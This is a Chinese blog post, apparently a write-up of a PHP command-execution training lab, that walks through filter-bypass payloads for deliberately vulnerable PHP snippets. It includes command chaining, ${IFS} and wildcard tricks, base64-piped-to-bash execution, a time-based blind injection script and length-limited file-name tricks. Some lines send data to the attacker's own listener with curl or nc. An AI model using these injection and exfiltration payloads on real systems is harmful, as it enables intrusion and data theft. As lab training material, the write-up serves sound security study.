freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

PHP命令执行靶场通关记录-1
s0l4r 2023-05-01 23:27:27 204479
所属地 北京

1 环境搭建

靶场:橙子科技php命令执行靶场

拉取镜像

$ sudo docker pull mcc0624/cmd:latest

运行

$ sudo docker run -p 18080:80 -p 18081:81 -p 18082:82 -it mcc0624/cmd:latest bash -c "/etc/rc.local; /bin/bash"

注意:需要加载/etc/rc.local,运行初始化命令

2 靶场WP

0x02 命令执行函数替换

原理:对传入的命令执行函数进行限制,使用其他命令执行函数即可

常见命令执行函数:system\exec\shell\passthru\shell_exec\popen\procopen\反引号\pcntl_exec

例题代码

<?php
    header("content-type:text/html;charset=utf-8"); 
    highlight_file(__FILE__);
    error_reporting(0);
    if(isset($_GET['cmd'])){
        $c = $_GET['cmd'];
        if(!preg_match("/exec|system|popen|proc_open|\`/i", $c)){
            eval($c);
        }
        else{
            echo "你是黑客么?";
        }
    }
?>

审计代码,发现未过滤passthru函数,因此使用该函数即可

payload为cmd=passthru("ls");,成功执行命令
image.png

0x03 命令拼接

命令拼接:函数中不仅有用户输入命令,还有预先定义的命令,如system('ping '.$_GET['ip']);

linux下命令分割符

  1. 分号,分号分割两条命令

  2. ||,当前一条命令执行失败时才会执行后一条命令

  3. &&,当前一条命令执行成功时才会执行后一条命令

例题代码

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $cmd = $_GET["cmd"];
    if(isset($cmd)){
        system("ls".$cmd);
    }
?> 

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $cmd = $_GET["cmd"];
    $cmd = $cmd." >/dev/null 2>&1";
    if(isset($cmd)){
        system($cmd);
    }
?>

审计代码,发现情况1中先进行ls的执行,再进行用户输入的执行,因此需要确保后一条执行正常执行,可以使用分号
payload为cmd=;id,成功执行
image.png
情况2中先执行命令再将其重定向至/dev/null导致无回显,因此可以采用||确保重定向命令不会执行
payload为cmd=id||,成功回显
image.png
考虑到无回显情况,也可以尝试使用带外注入
kali中开启nc侦听端口
payload为cmd=curl http://ip:port/id,成功回显
image.png

0x04 空格过滤

linux中可以使用特殊字符$IFS替代命令中的空格,为了避免识别出现问题,可以使用界定符${IFS}

例题代码

<?php
    header("content-type:text/html;charset=utf-8");
    highlight_file(__FILE__);
    error_reporting(0);
    $cmd = $_GET["cmd"];
    if(isset($cmd)){
        $cmd = preg_replace("# #","",$cmd);
        echo "过滤后的命令:".$cmd."</br >";
        echo "命令执行结果如下:";
        system($cmd);
    }
?>

审计代码,发现将空格替换为空,因此采用$IFS替换空格
payload为cmd=cat${IFS}flag.php,成功获取flag
image.png
也可以使用重定向方式,将文件内容定向至cat输出
payload为cat<flag.php,同样获取flag
image.png

0x05 文件名过滤

linux常用通配符

  1. ?匹配一个字符

  2. * 匹配多个字符

例题代码

<?php
    header("content-type:text/html;charset=utf-8");
    highlight_file(__FILE__);
    error_reporting(0);
    if(isset($_GET['cmd'])) {
        $cmd = $_GET['cmd'];
        if (!preg_match("/flag|system|php/i", $cmd)) {
            eval($cmd);
        }
        else{
            echo "命令有问题哦,来黑我丫!!!";
            }
    }
?>

审计代码,发现过滤flag、php、system,其中,system函数可以使用其他命令执行函数替换,而flag.php可以使用通配符替换
payload为cmd=passthru('cat fl?g*');,成功执行代码
image.png

0x06 文件读取命令过滤

linux下文件读取命令补充

  1. tac 和cat功能一致,但从最后一行开始读

  2. less/more 一次显示一部分

  3. nl 和cat功能一致,显示行号

  4. tail 查看文件末尾

例题代码

<?php
    header("content-type:text/html;charset=utf-8");
    highlight_file(__FILE__);
    error_reporting(0);
    if(isset($_GET['cmd'])) {
        $cmd = $_GET['cmd'];
        if (!preg_match("/flag|php|cat|sort|shell|\'/i", $cmd)) {
            eval($cmd);
        }
        else{
            echo "再来黑我丫!!!";
        }
    }
?>

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    if(isset($_GET['c'])) {
        $c = $_GET['c'];
        if (!preg_match("/more|less|head|cat|tac|tail|nl|od|vi|vim|sort|uniq|file|\'/i", $c)) {
            eval($c);
        } else {
            echo "黑的啥都看ä¸è§äº†ï¼";
        }
    }
?>

审计代码,发现情况1中对常见的文件读取命令进行过滤,因此使用nl替换cat;对单引号进行过滤,可以使用双引号替换
payload为cmd=system("nl flag.php");,成功执行
image.png
情况2中基本过滤所有可用文件读取命令,但未过滤grep

grep补充:grep 字符串 文件名,尝试匹配文件中的字符串,如果成功则输出

基于grep,构造payload为c=system("grep { flag.php");,成功读取flag
image.png

此外,还可以尝试使用编码方式绕过

利用思路如下

  1. base64编码命令

  2. echo base64编码|base64 -d|bash

针对情况2,构造编码后payload为c=system("echo Y2F0IGZsYWcucGhwCg==|base64 -d|bash");,成功执行代码
image.png

0x08 无回显注入

通常情况下,无回显注入采用带外注入方式获取信息,具体参见0x03中的方式,然而,有时可能过滤curl、wget等可发送请求的指令,因此只能基于时间进行盲注

时间盲注:将字符切分,并利用if判断其值,当值正确时,配合sleep语句延迟响应,时间盲注常用命令包括awk和cut,利用awk拆分行,cut拆分字符,逐字符判断

例题代码

<?php
    error_reporting(0);
    function check($x){
        if(preg_match('/\\$|\!|\@|\#|\%|\^|\&|\*|\?|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|python|pingtouch|mv|mkdir|cp/i', $x)){
            die('too young too simple sometimes naive!');
        }
    }
    if(isset($_GET['cmd'])){
        $cmd=$_GET['cmd'];
        check($cmd);
        exec($cmd);
    }
    else{
        highlight_file(__FILE__);
    }
?>

审计代码,发现过滤了常见能够发送请求的指令,且采用exec执行命令,无回显,故考虑时间盲注

盲注脚本如下(参考php靶场中的poc)

import requests
import time
url = ""
result = ""
for i in range(1,5):
    for j in range(1,55):
        #ascii码表
        for c in range(32,128):
            c = chr(c)
            payload = "?cmd=" + f"if [ `cat flag.php | awk NR=={i} | cut -c {j}` == {c} ];then sleep 2;fi"
            try:
                requests.get(url=url+payload, timeout=(1.5,1.5))
            except:
                result = result + c
                print(result)
                break
    result += " "

成功获取flag
image.png

0x09 长度限制

对用户输入长度进行限制,导致无法执行常规命令,需要特殊构造
绕过流程

  1. 确定需要使用的命令

  2. 拆分命令,利用不超过指定长度的字符创建对应的短文件,配合ls命令将其输入到文件中

  3. sh执行最终生成的文件,实现命令执行

1 限制长度为7

例题代码

<?php
    highlight_file(__FILE__);
    error_reporting(E_ALL);
    function filter($argv){
        $a = str_replace("/\*|\?|/","=====",$argv);
        return $a;
    }
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 7) {
        exec(filter($_GET['cmd']));
    } else  {
        echo "flag in local path flag file!!";
    }
    flag in local path flag file!!
?>

审计代码,发现strlen对命令长度进行限制,且使用exec执行命令,无回显;同时会对*、?、/进行过滤,但由于flag在当前路径下,因此filter函数对命令执行无影响

利用过程:

  1. 确定使用的命令,由于无回显,因此使用cat flag|nc ip port

  2. 创建文件,配合分隔符\用于将一条长命令分割,写法不唯一

>port\\
>\ \\
>ip后半段\\
>ip前半段\\
>c\ \\
>\|n\\
>flag\\
>t\ \\
>ca\\
ls -t>a
  1. kali侦听对应端口,sh a执行即可,最终获取flag

image.png

2 限制长度为5

同限制长度为7的区别

  1. 创建空格文件使用>\ \为5个字符,因此只能创建包含一个空格的文件,故需要替换命令

  2. ls -t>a长度大于5,无法直接执行

例题代码同限制长度为7,只是strlen<=5

利用思路

  1. 创建ls -t>a,由于只能使用ls,而ls以字符顺序排序,导致ls会排在后面,因此需要先输出ls到文件,再>>追加内容

>ls\\
ls>_
>\ \\
>-t\\
>\>a
ls>>_
  1. 创建命令执行使用的命令,由于限制空格数,可以采用${IFS}替换空格,构造命令参考限制7,但需要拆分更多

  2. sh _执行ls -t>a,kali侦听端口,再sh a执行a获取flag

一定注意第二步构造的payload(做了n次实验才成功的人如是说(悲QWQ))
image.png

3 长度限制4

长度限制为4后,无法创建空格文件,一些指令也无法正常执行

相关命令

  1. rev,反转文件内容,如abc,反转后为cba

  2. *,linux会把列出的第一个文件名做指令,后续文件名做参数

  3. dir,类似ls,不换行输出

绕过思路:创建linux命令文件,利用*执行命令

例题代码同长度限制7,strlen<=4

利用流程

  1. 创建ls相关文件,需要注意字母顺序,*执行时确保正常,最好在g后加分号,防止文件名出现问题

>sl
>ht-
>g\>
>dir
*>v

image.png
2. 创建rev文件,利用rev输出ls -t指令到文件中

>rev
*v>x

image.png
3. 构造其他可利用命令,直接使用
4. 执行sh x创建g文件,sh g代码执行
image.png

3 代码

相关代码最终会放在github上,具体见通关记录2

# web安全 # php # CTF # 远程命令执行
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 s0l4r 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
s0l4r LV.4
这家伙太懒了,还未填写个人描述!
  • 9 文章数
  • 6 关注者
Nimbo-C2分析1-源码分析
2023-06-24
Pikachu靶场通关记录
2023-05-18
Log4J2漏洞原理详解及复现
2023-05-06
文章目录